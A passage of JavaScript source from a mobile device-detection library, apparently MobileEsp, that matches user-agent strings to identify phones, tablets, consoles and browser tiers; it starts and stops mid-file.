'xbox',\n\tdeviceArchos : 'archos',\n\t\n\tengineFirefox : 'firefox', //For Firefox OS\n\tengineOpera : 'opera', //Popular browser\n\tengineNetfront : 'netfront', //Common embedded OS browser\n\tengineUpBrowser : 'up.browser', //common on some phones\n\tdeviceMidp : 'midp', //a mobile Java technology\n\tuplink : 'up.link',\n\tengineTelecaQ : 'teleca q', //a modern feature phone browser\n\tengineObigo : 'obigo', //W 10 is a modern feature phone browser\n\t\n\tdevicePda : 'pda',\n\tmini : 'mini',  //Some mobile browsers put 'mini' in their names\n\tmobile : 'mobile', //Some mobile browsers put 'mobile' in their user agent strings\n\tmobi : 'mobi', //Some mobile browsers put 'mobi' in their user agent strings\n\t\n\t//Smart TV strings\n\tsmartTV1 : 'smart-tv', //Samsung Tizen smart TVs\n\tsmartTV2 : 'smarttv', //LG WebOS smart TVs\n\n\t//Use Maemo, Tablet, and Linux to test for Nokia's Internet Tablets.\n\tmaemo : 'maemo',\n\tlinux : 'linux',\n\tmylocom2 : 'sony/com', // for Sony Mylo 1 and 2\n\t\n\t//In some UserAgents, the only clue is the manufacturer\n\tmanuSonyEricsson : 'sonyericsson',\n\tmanuericsson : 'ericsson',\n\tmanuSamsung1 : 'sec-sgh',\n\tmanuSony : 'sony',\n\tmanuHtc : 'htc', //Popular Android and WinMo manufacturer\n\t\n\t//In some UserAgents, the only clue is the operator\n\tsvcDocomo : 'docomo',\n\tsvcKddi : 'kddi',\n\tsvcVodafone : 'vodafone',\n\t\n\t//Disambiguation strings.\n\tdisUpdate : 'update', //pda vs. update\n\t\n\t//Holds the User Agent string value.\n\tuagent : '',\n   \n\t//Initializes key MobileEsp variables\n\tInitDeviceScan : function() {\n\t\tthis.initCompleted = false;\n\t\t\n\t\tif (navigator && navigator.userAgent)\n\t\t\tthis.uagent = navigator.userAgent.toLowerCase();\n\t\t\n\t\t//Save these properties to speed processing\n\t\tthis.isWebkit = this.DetectWebkit();\n\t\tthis.isIphone = this.DetectIphone();\n\t\tthis.isAndroid = this.DetectAndroid();\n\t\tthis.isAndroidPhone = this.DetectAndroidPhone();\n\t\t\n\t\t//Generally, these tiers are the most useful for web development\n\t\tthis.isMobilePhone = this.DetectMobileQuick();\n\t\tthis.isTierIphone = this.DetectTierIphone();\n\t\tthis.isTierTablet = this.DetectTierTablet();\n\t\t\n\t\t//Optional: Comment these out if you NEVER use them\n\t\tthis.isTierRichCss = this.DetectTierRichCss();\n\t\tthis.isTierGenericMobile = this.DetectTierOtherPhones();\n\t\t\n\t\tthis.initCompleted = true;\n\t},\n\n\n\t//APPLE IOS\n\n\t//**************************\n\t// Detects if the current device is an iPhone.\n\tDetectIphone : function() {\n        if (this.initCompleted || this.isIphone)\n\t\t\treturn this.isIphone;\n\n\t\tif (this.uagent.search(this.deviceIphone) > -1)\n\t\t\t{\n\t\t\t\t//The iPad and iPod Touch say they're an iPhone! So let's disambiguate.\n\t\t\t\tif (this.DetectIpad() || this.DetectIpod())\n\t\t\t\t\treturn false;\n\t\t\t\t//Yay! It's an iPhone!\n\t\t\t\telse \n\t\t\t\t\treturn true;\n\t\t\t}\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is an iPod Touch.\n\tDetectIpod : function() {\n\t\t\tif (this.uagent.search(this.deviceIpod) > -1)\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is an iPhone or iPod Touch.\n\tDetectIphoneOrIpod : function() {\n\t\t//We repeat the searches here because some iPods \n\t\t//  may report themselves as an iPhone, which is ok.\n\t\tif (this.DetectIphone() || this.DetectIpod())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is an iPad tablet.\n\tDetectIpad : function() {\n\t\tif (this.uagent.search(this.deviceIpad) > -1  && this.DetectWebkit())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects *any* iOS device: iPhone, iPod Touch, iPad.\n\tDetectIos : function() {\n\t\tif (this.DetectIphoneOrIpod() || this.DetectIpad())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//ANDROID\n\n\t//**************************\n\t// Detects *any* Android OS-based device: phone, tablet, and multi-media player.\n\t// Also detects Google TV.\n\tDetectAndroid : function() {\n\t\tif (this.initCompleted || this.isAndroid)\n\t\t\treturn this.isAndroid;\n\t\t\n\t\tif ((this.uagent.search(this.deviceAndroid) > -1) || this.DetectGoogleTV())\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a (small-ish) Android OS-based device\n\t// used for calling and/or multi-media (like a Samsung Galaxy Player).\n\t// Google says these devices will have 'Android' AND 'mobile' in user agent.\n\t// Ignores tablets (Honeycomb and later).\n\tDetectAndroidPhone : function() {\n\t\tif (this.initCompleted || this.isAndroidPhone)\n\t\t\treturn this.isAndroidPhone;\n\t\t\n\t\t//First, let's make sure we're on an Android device.\n\t\tif (!this.DetectAndroid())\n\t\t\treturn false;\n\t\t\n\t\t//If it's Android and has 'mobile' in it, Google says it's a phone.\n\t\tif (this.uagent.search(this.mobile) > -1)\n\t\t\treturn true;\n\n\t\t//Special check for Android phones with Opera Mobile. They should report here.\n\t\tif (this.DetectOperaMobile())\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a (self-reported) Android tablet.\n\t// Google says these devices will have 'Android' and NOT 'mobile' in their user agent.\n\tDetectAndroidTablet : function() {\n\t\t//First, let's make sure we're on an Android device.\n\t\tif (!this.DetectAndroid())\n\t\t\treturn false;\n\t\t\n\t\t//Special check for Opera Android Phones. They should NOT report here.\n\t\tif (this.DetectOperaMobile())\n\t\t\treturn false;\n\t\t\t\n\t\t//Otherwise, if it's Android and does NOT have 'mobile' in it, Google says it's a tablet.\n\t\tif (this.uagent.search(this.mobile) > -1)\n\t\t\treturn false;\n\t\telse\n\t\t\treturn true;\n\t},\n\n\t//**************************\n\t// Detects if the current device is an Android OS-based device and\n\t//   the browser is based on WebKit.\n\tDetectAndroidWebKit : function() {\n\t\tif (this.DetectAndroid() && this.DetectWebkit())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a GoogleTV.\n\tDetectGoogleTV : function() {\n\t\tif (this.uagent.search(this.deviceGoogleTV) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is based on WebKit.\n\tDetectWebkit : function() {\n\t\tif (this.initCompleted || this.isWebkit)\n\t\t\treturn this.isWebkit;\n\t\t\n\t\tif (this.uagent.search(this.engineWebKit) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//WINDOWS MOBILE AND PHONE\n\n    // Detects if the current browser is a \n    // Windows Phone 7, 8, or 10 device.\n    DetectWindowsPhone : function() {\n\t\tif (this.DetectWindowsPhone7() ||\n            this.DetectWindowsPhone8() ||\n            this.DetectWindowsPhone10())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a Windows Phone 7 device (in mobile browsing mode).\n\tDetectWindowsPhone7 : function() { \n\t\tif (this.uagent.search(this.deviceWinPhone7) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a Windows Phone 8 device (in mobile browsing mode).\n\tDetectWindowsPhone8 : function() {\n\t\tif (this.uagent.search(this.deviceWinPhone8) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a Windows Phone 10 device (in mobile browsing mode).\n\tDetectWindowsPhone10 : function() {\n\t\tif (this.uagent.search(this.deviceWinPhone10) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a Windows Mobile device.\n\t// Excludes Windows Phone 7 and later devices. \n\t// Focuses on Windows Mobile 6.xx and earlier.\n\tDetectWindowsMobile : function() {\n\t\tif (this.DetectWindowsPhone())\n\t\t\treturn false;\n\n\t\t//Most devices use 'Windows CE', but some report 'iemobile' \n\t\t//  and some older ones report as 'PIE' for Pocket IE. \n\t\tif (this.uagent.search(this.deviceWinMob) > -1 ||\n\t\t\tthis.uagent.search(this.deviceIeMob) > -1 ||\n\t\t\tthis.uagent.search(this.enginePie) > -1)\n\t\t\treturn true;\n\t\t//Test for Windows Mobile PPC but not old Macintosh PowerPC.\n\t\tif ((this.uagent.search(this.devicePpc) > -1) && \n\t\t\t!(this.uagent.search(this.deviceMacPpc) > -1))\n\t\t\treturn true;\n\t\t//Test for Windwos Mobile-based HTC devices.\n\t\tif (this.uagent.search(this.manuHtc) > -1 &&\n\t\t\tthis.uagent.search(this.deviceWindows) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//BLACKBERRY\n\n\t//**************************\n\t// Detects if the current browser is a BlackBerry of some sort.\n\t// Includes BB10 OS, but excludes the PlayBook.\n\tDetectBlackBerry : function() {\n\t\tif ((this.uagent.search(this.deviceBB) > -1) ||\n\t\t\t(this.uagent.search(this.vndRIM) > -1))\n\t\t\treturn true;\n\t\tif (this.DetectBlackBerry10Phone())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n        // Detects if the current browser is a BlackBerry 10 OS phone.\n        // Excludes tablets.\n\tDetectBlackBerry10Phone : function() {\n\t\tif ((this.uagent.search(this.deviceBB10) > -1) &&\n\t\t\t(this.uagent.search(this.mobile) > -1))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is on a BlackBerry tablet device.\n\t//    Example: PlayBook\n\tDetectBlackBerryTablet : function() {\n\t\tif (this.uagent.search(this.deviceBBPlaybook) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a BlackBerry device AND uses a\n\t//    WebKit-based browser. These are signatures for the new BlackBerry OS 6.\n\t//    Examples: Torch. Includes the Playbook.\n\tDetectBlackBerryWebKit : function() {\n\t\tif (this.DetectBlackBerry() &&\n\t\t\tthis.uagent.search(this.engineWebKit) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a BlackBerry Touch\n\t//    device, such as the Storm, Torch, and Bold Touch. Excludes the Playbook.\n\tDetectBlackBerryTouch : function() {\n\t\tif (this.DetectBlackBerry() &&\n\t\t\t((this.uagent.search(this.deviceBBStorm) > -1) ||\n\t\t\t(this.uagent.search(this.deviceBBTorch) > -1) ||\n\t\t\t(this.uagent.search(this.deviceBBBoldTouch) > -1) ||\n\t\t\t(this.uagent.search(this.deviceBBCurveTouch) > -1) ))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a BlackBerry OS 5 device AND\n\t//    has a more capable recent browser. Excludes the Playbook.\n\t//    Examples, Storm, Bold, Tour, Curve2\n\t//    Excludes the new BlackBerry OS 6 and 7 browser!!\n\tDetectBlackBerryHigh : function() {\n\t\t//Disambiguate for BlackBerry OS 6 or 7 (WebKit) browser\n\t\tif (this.DetectBlackBerryWebKit())\n\t\t\treturn false;\n\t\tif ((this.DetectBlackBerry()) &&\n\t\t\t(this.DetectBlackBerryTouch() ||\n\t\t\tthis.uagent.search(this.deviceBBBold) > -1 || \n\t\t\tthis.uagent.search(this.deviceBBTour) > -1 || \n\t\t\tthis.uagent.search(this.deviceBBCurve) > -1))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a BlackBerry device AND\n\t//    has an older, less capable browser. \n\t//    Examples: Pearl, 8800, Curve1.\n\tDetectBlackBerryLow : function() {\n\t\tif (this.DetectBlackBerry())\n\t\t{\n\t\t\t//Assume that if it's not in the High tier or has WebKit, then it's Low.\n\t\t\tif (this.DetectBlackBerryHigh() || this.DetectBlackBerryWebKit())\n\t\t\t\treturn false;\n\t\t\telse\n\t\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//SYMBIAN\n\n\t//**************************\n\t// Detects if the current browser is the Nokia S60 Open Source Browser.\n\tDetectS60OssBrowser : function() {\n\t\tif (this.DetectWebkit())\n\t\t{\n\t\t\tif ((this.uagent.search(this.deviceS60) > -1 || \n\t\t\t\tthis.uagent.search(this.deviceSymbian) > -1))\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}\n\t\telse\n\t\t\treturn false;\n\t}, \n\n\t//**************************\n\t// Detects if the current device is any Symbian OS-based device,\n\t//   including older S60, Series 70, Series 80, Series 90, and UIQ, \n\t//   or other browsers running on these devices.\n\tDetectSymbianOS : function() {\n\t\tif (this.uagent.search(this.deviceSymbian) > -1 ||\n\t\t\tthis.uagent.search(this.deviceS60) > -1 ||\n\t\t\t((this.uagent.search(this.deviceSymbos) > -1) &&\n\t\t\t\t(this.DetectOperaMobile)) || //Opera 10\n\t\t\tthis.uagent.search(this.deviceS70) > -1 ||\n\t\t\tthis.uagent.search(this.deviceS80) > -1 ||\n\t\t\tthis.uagent.search(this.deviceS90) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//WEBOS AND PALM\n\n\t//**************************\n\t// Detects if the current browser is on a PalmOS device.\n\tDetectPalmOS : function() {\n\t\t//Make sure it's not WebOS first\n\t\tif (this.DetectPalmWebOS())\n\t\t\treturn false;\n\n\t\t//Most devices nowadays report as 'Palm', \n\t\t//  but some older ones reported as Blazer or Xiino.\n\t\tif (this.uagent.search(this.devicePalm) > -1 ||\n\t\t\tthis.uagent.search(this.engineBlazer) > -1 ||\n\t\t\tthis.uagent.search(this.engineXiino) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is on a Palm device\n\t//   running the new WebOS.\n\tDetectPalmWebOS : function()\n\t{\n\t\tif (this.uagent.search(this.deviceWebOS) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is on an HP tablet running WebOS.\n\tDetectWebOSTablet : function() {\n\t\tif (this.uagent.search(this.deviceWebOShp) > -1 &&\n\t\t\tthis.uagent.search(this.deviceTablet) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is on a WebOS smart TV.\n\tDetectWebOSTV : function() {\n\t\tif (this.uagent.search(this.deviceWebOStv) > -1 &&\n\t\t\tthis.uagent.search(this.smartTV2) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//OPERA\n\n\t//**************************\n\t// Detects if the current browser is Opera Mobile or Mini.\n\t// Note: Older embedded Opera on mobile devices didn't follow these naming conventions.\n\t//   Like Archos media players, they will probably show up in DetectMobileQuick or -Long instead. \n\tDetectOperaMobile : function() {\n\t\tif ((this.uagent.search(this.engineOpera) > -1) &&\n\t\t\t((this.uagent.search(this.mini) > -1 ||\n\t\t\tthis.uagent.search(this.mobi) > -1)))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t//MISCELLANEOUS DEVICES\n\n\t//**************************\n\t// Detects if the current device is an Amazon Kindle (eInk devices only).\n\t// Note: For the Kindle Fire, use the normal Android methods.\n\tDetectKindle : function() {\n\t\tif (this.uagent.search(this.deviceKindle) > -1 &&\n\t\t\t!this.DetectAndroid())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current Amazon device has turned on the Silk accelerated browsing feature.\n\t// Note: Typically used by the the Kindle Fire.\n\tDetectAmazonSilk : function() {\n\t\tif (this.uagent.search(this.engineSilk) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a\n\t//   Garmin Nuvifone.\n\tDetectGarminNuvifone : function() {\n\t\tif (this.uagent.search(this.deviceNuvifone) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a device running the Bada OS from Samsung.\n\tDetectBada : function() {\n\t\tif (this.uagent.search(this.deviceBada) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a device running the Tizen smartphone OS.\n\tDetectTizen : function() {\n\t\tif (this.uagent.search(this.deviceTizen) > -1 &&\n\t\t\tthis.uagent.search(this.mobile) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is on a Tizen smart TV.\n\tDetectTizenTV : function() {\n\t\tif (this.uagent.search(this.deviceTizen) > -1 &&\n\t\t\tthis.uagent.search(this.smartTV1) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a device running the Meego OS.\n\tDetectMeego : function() {\n\t\tif (this.uagent.search(this.deviceMeego) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a phone running the Meego OS.\n\tDetectMeegoPhone : function() {\n\t\tif (this.uagent.search(this.deviceMeego) > -1 &&\n\t\t\tthis.uagent.search(this.mobi) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a mobile device (probably) running the Firefox OS.\n\tDetectFirefoxOS : function() {\n\t\tif (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a phone (probably) running the Firefox OS.\n\tDetectFirefoxOSPhone : function() {\n\t\t//First, let's make sure we're NOT on another major mobile OS.\n\t\tif (this.DetectIos() || \n\t\t\tthis.DetectAndroid() ||\n\t\t\tthis.DetectSailfish())\n\t\t\treturn false;    \t  \n\n\t\tif ((this.uagent.search(this.engineFirefox) > -1) && \n\t\t\t(this.uagent.search(this.mobile) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a tablet (probably) running the Firefox OS.\n\tDetectFirefoxOSTablet : function() {\n\t\t//First, let's make sure we're NOT on another major mobile OS.\n\t\tif (this.DetectIos() || \n\t\t\tthis.DetectAndroid() ||\n\t\t\tthis.DetectSailfish())\n\t\t\treturn false;    \t  \n\n\t\tif ((this.uagent.search(this.engineFirefox) > -1) && \n\t\t\t(this.uagent.search(this.deviceTablet) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a device running the Sailfish OS.\n\tDetectSailfish : function() {\n\t\tif (this.uagent.search(this.deviceSailfish) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a phone running the Sailfish OS.\n\tDetectSailfishPhone : function() {\n\t\tif (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\n\t//**************************\n\t// Detects a mobile device running the Ubuntu Mobile OS.\n\tDetectUbuntu : function() {\n\t\tif (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a phone running the Ubuntu Mobile OS.\n\tDetectUbuntuPhone : function() {\n\t\tif ((this.uagent.search(this.deviceUbuntu) > -1) && \n\t\t\t(this.uagent.search(this.mobile) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects a tablet running the Ubuntu Mobile OS.\n\tDetectUbuntuTablet : function() {\n\t\tif ((this.uagent.search(this.deviceUbuntu) > -1) && \n\t\t\t(this.uagent.search(this.deviceTablet) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects the Danger Hiptop device.\n\tDetectDangerHiptop : function() {\n\t\tif (this.uagent.search(this.deviceDanger) > -1 ||\n\t\t\tthis.uagent.search(this.deviceHiptop) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current browser is a Sony Mylo device.\n\tDetectSonyMylo : function() {\n\t\tif ((this.uagent.search(this.manuSony) > -1) &&\n                    ((this.uagent.search(this.qtembedded) > -1) ||\n                     (this.uagent.search(this.mylocom2) > -1)))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is on one of \n\t// the Maemo-based Nokia Internet Tablets.\n\tDetectMaemoTablet : function() {\n\t\tif (this.uagent.search(this.maemo) > -1)\n\t\t\treturn true;\n\t\t//For Nokia N810, must be Linux + Tablet, or else it could be something else.\n\t\tif ((this.uagent.search(this.linux) > -1) && \n\t\t\t(this.uagent.search(this.deviceTablet) > -1) && \n\t\t\tthis.DetectWebOSTablet() && \n\t\t\t!this.DetectAndroid())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n        //**************************\n\t// Detects if the current device is an Archos media player/Internet tablet.\n\tDetectArchos : function() {\n\t\tif (this.uagent.search(this.deviceArchos) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is an Internet-capable game console.\n\t// Includes many handheld consoles.\n\tDetectGameConsole : function() {\n\t\tif (this.DetectSonyPlaystation() || \n\t\t\tthis.DetectNintendo() ||\n\t\t\tthis.DetectXbox())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a Sony Playstation.\n\tDetectSonyPlaystation : function() {\n\t\tif (this.uagent.search(this.devicePlaystation) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a handheld gaming device with\n    // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.\n\tDetectGamingHandheld : function() {\n\t\tif ((this.uagent.search(this.devicePlaystation) > -1) &&\n                   (this.uagent.search(this.devicePlaystationVita) > -1))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a Nintendo game device.\n\tDetectNintendo : function() {\n\t\tif (this.uagent.search(this.deviceNintendo) > -1   || \n\t\t\tthis.uagent.search(this.deviceWii) > -1 ||\n\t\t\tthis.uagent.search(this.deviceNintendoDs) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a Microsoft Xbox.\n\tDetectXbox : function() {\n\t\tif (this.uagent.search(this.deviceXbox) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n        \n        \n\t//**************************\n\t// Detects whether the device is a Brew-powered device.\n\t//   Note: Limited to older Brew-powered feature phones.\n\t//   Ignores newer Brew versions like MP. Refer to DetectMobileQuick().\n\tDetectBrewDevice : function() {\n\t\tif (this.uagent.search(this.deviceBrew) > -1)\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\n\t// DEVICE CLASSES\n\n\t//**************************\n\t// Check to see whether the device is *any* 'smartphone'.\n\t//   Note: It's better to use DetectTierIphone() for modern touchscreen devices. \n\tDetectSmartphone : function() {\n\t\t//Exclude duplicates from TierIphone\n        if (this.DetectTierIphone() ||\n            this.DetectS60OssBrowser() ||\n\t\t\tthis.DetectSymbianOS() ||\n\t\t\tthis.DetectWindowsMobile() ||\n\t\t\tthis.DetectBlackBerry() ||\n\t\t\tthis.DetectMeegoPhone() ||\n\t\t\tthis.DetectPalmOS())\n\t\t\treturn true;\n\t\t\n\t\t//Otherwise, return false.\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects if the current device is a mobile device.\n\t//  This method catches most of the popular modern devices.\n\t//  Excludes Apple iPads and other modern tablets.\n\tDetectMobileQuick : function() {\n\t\tif (this.initCompleted || this.isMobilePhone)\n\t\t\treturn this.isMobilePhone;\n\n\t\t//Let's exclude tablets.\n\t\tif (this.DetectTierTablet())\n\t\t\treturn false;\n\n\t\t//Most mobile browsing is done on smartphones\n\t\tif (this.DetectSmartphone())\n\t\t\treturn true;\n\n\t\t//Catch-all for many mobile devices\n\t\tif (this.uagent.search(this.mobile) > -1)\n\t\t\treturn true;\n\n\t\tif (this.DetectOperaMobile())\n\t\t\treturn true;\n\n\t\t//We also look for Kindle devices\n\t\tif (this.DetectKindle() ||\n\t\t\tthis.DetectAmazonSilk())\n\t\t\treturn true;\n\n\t\tif (this.uagent.search(this.deviceMidp) > -1 ||\n\t\t\tthis.DetectBrewDevice())\n\t\t\treturn true;\n\n\t\tif ((this.uagent.search(this.engineObigo) > -1) ||\n\t\t\t(this.uagent.search(this.engineNetfront) > -1) ||\n\t\t\t(this.uagent.search(this.engineUpBrowser) > -1))\n\t\t\treturn true;\n\n\t\treturn false;\n\t},\n\n\t//**************************\n\t// Detects in a more comprehensive way if the current device is a mobile device.\n\tDetectMobileLong : function() {\n\t\tif (this.DetectMobileQuick())\n\t\t\treturn true;\n\t\tif (this.DetectGameConsole())\n\t\t\treturn true;\n\n\t\tif (this.DetectDangerHiptop() ||\n\t\t\tthis.DetectMaemoTablet() ||\n\t\t\tthis.DetectSonyMylo() ||\n\t\t\tthis.DetectArchos())\n\t\t\treturn true;\n\n\t\tif ((this.uagent.search(this.devicePda) > -1) &&\n\t\t\t!(this.uagent.search(this.disUpdate) > -1)) \n\t\t\treturn true;\n\t\t\n\t\t//Detect for certain very old devices with stupid useragent strings.\n\t\tif ((this.uagent.search(this.manuSamsung1) > -1) ||\n\t\t\t(this.uagent.search(this.manuSonyEricsson) > -1) || \n\t\t\t(this.uagent.search(this.manuericsson) > -1) ||\n\t\t\t(this.uagent.search(this.svcDocomo) > -1) ||\n\t\t\t(this.uagent.search(this.svcKddi) > -1) ||\n\t\t\t(this.uagent.search(this.svcVodafone) > -1))\n\t\t\treturn true;\n\t\t\n\t\treturn false;\n\t},\n\n\t//*****************************\n\t// For Mobile Web Site Design\n\t//*****************************\n\t\n\t//**************************\n\t// The quick way to detect for a tier of devices.\n\t//   This method detects for the new generation of\n\t//   HTML 5 capable, larger screen tablets.\n\t//   Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.\n\tDetectTierTablet : function() {\n\t\tif (this.initCompleted || this.isTierTablet)\n\t\t\treturn this.isTierTablet;\n\t\t\n\t\tif (this.DetectIpad() ||\n\t\t\tthis.DetectAndroidTablet() ||\n\t\t\tthis.DetectBlackBerryTablet() ||\n\t\t\tthis.DetectFirefoxOSTablet() ||\n\t\t\tthis.DetectUbuntuTablet() ||\n\t\t\tthis.DetectWebOSTablet())\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// The quick way to detect for a tier of devices.\n\t//   This method detects for devices which can \n\t//   display iPhone-optimized web content.\n\t//   Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.\n\tDetectTierIphone : function() {\n\t\tif (this.initCompleted || this.isTierIphone)\n\t\t\treturn this.isTierIphone;\n\n\t\tif (this.DetectIphoneOrIpod() ||\n                        this.DetectAndroidPhone() ||\n\t\t\tthis.DetectWindowsPhone() ||\n\t\t\tthis.DetectBlackBerry10Phone() ||\n\t\t\tthis.DetectPalmWebOS() ||\n\t\t\tthis.DetectBada() ||\n\t\t\tthis.DetectTizen() ||\n\t\t\tthis.DetectFirefoxOSPhone() ||\n\t\t\tthis.DetectSailfishPhone() ||\n\t\t\tthis.DetectUbuntuPhone() ||\n\t\t\tthis.DetectGamingHandheld())\n\t\t\treturn true;\n\n        //Note: BB10 phone is in the previous paragraph\n\t\tif (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())\n\t\t\treturn true;\n\t\t\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// The quick way to detect for a tier of devices.\n\t//   This method detects for devices which are likely to be \n\t//   capable of viewing CSS content optimized for the iPhone, \n\t//   but may not necessarily support JavaScript.\n\t//   Excludes all iPhone Tier devices.\n\tDetectTierRichCss : function() {\n\t\tif (this.initCompleted || this.isTierRichCss)\n\t\t\treturn this.isTierRichCss;\n\n\t\t//Exclude iPhone and Tablet Tiers and e-Ink Kindle devices\n\t\tif (this.DetectTierIphone() ||\n\t\t\tthis.DetectKindle() ||\n\t\t\tthis.DetectTierTablet())\n\t\t\treturn false;\n\t\t\n\t\t//Exclude if not mobile\n\t\tif (!this.DetectMobileQuick())\n\t\t\treturn false;\n\t\t\t\t\n\t\t//If it's a mobile webkit browser on any other device, it's probably OK.\n\t\tif (this.DetectWebkit())\n\t\t\treturn true;\n\t\t\n\t\t//The following devices are also explicitly ok.\n\t\tif (this.DetectS60OssBrowser() ||\n\t\t\tthis.DetectBlackBerryHigh() ||\n\t\t\tthis.DetectWindowsMobile() ||\n\t\t\t(this.uagent.search(this.engineTelecaQ) > -1))\n\t\t\treturn true;\n\t\t\n\t\telse\n\t\t\treturn false;\n\t},\n\n\t//**************************\n\t// The quick way to detect for a tier of devices.\n\t//   This method detects for all other types of phones,\n\t//   but excludes the iPhone and RichCSS Tier devices.\n\t// NOTE: This method probably won't work due to poor\n\t//  support for 